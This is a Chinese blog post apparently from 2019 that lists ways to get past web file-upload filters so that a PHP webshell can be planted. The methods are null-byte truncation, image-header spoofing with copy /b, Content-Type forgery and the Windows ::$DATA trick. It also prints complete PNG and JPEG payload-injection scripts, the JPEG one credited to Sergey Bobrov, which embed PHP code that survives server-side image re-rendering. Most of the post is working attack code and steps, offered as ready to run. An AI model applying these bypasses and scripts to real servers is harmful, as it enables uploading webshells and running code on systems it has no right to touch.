绕过上传汇总

  1:  get  post 截断 

     GET中 截断  %00

 

 

    POST中截断   

因为post不会像get对%00进行自动解码    空格的十六进制为20然后找到20 改为00 

有的时候直接在po's't包里面    .php 后面加空格 也可以。

 

 

2:检测图片头

头两个字节判断文件类型,因此直接上传图片马即可;
图片制作方法:

copy 1.jpg /b + shell.php /a webshell.jpg(图片一句话木马为:<?php phpinfo(); ?> )

 

 

 

 

 

 

GIF二次渲染:

    关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置,然后通过16进制编辑器把php代码写进去,就可以成功上传带有php代码的图片了.

 

 

   PNG图片二次渲染

   国外大牛写的脚本,直接拿来运行即可.

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

  

 

 

JPG图片的二次渲染

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

  

随便找一个jpg图片,先上传至服务器然后再下载到本地保存为1.jpg.

插入php代码

使用脚本处理1.jpg,命令php jpg_payload.php 1.jpg

使用16进制编辑器打开,就可以看到插入的php代码.

 

==========================

不是所有的图片都可以用来填充的,

画图软件构造1000*1000的纯白图片,然后构造的(构造出来的为灰色)

三:Content-Type

服务器通过Content-Type的值判断文件类型,直接上传php文件(webshell),抓包,将Content-Type的值修改为image/jpeg,即可上传php文件(webshell)。

 

 四: Windows   +  PHP  (待测试)     基于黑名单

在php+windows的情况下:如果文件名+::$DATA,::$DATA之后的数据当成文件流处理,不会检测后缀名 且保持"::$DATA"之前的文件名

2019.php

抓包- BURP 修改 

2019.php::$DATA

 

   

posted @ 2019-11-09 16:05  BuXuan  阅读(701)  评论(0编辑  收藏  举报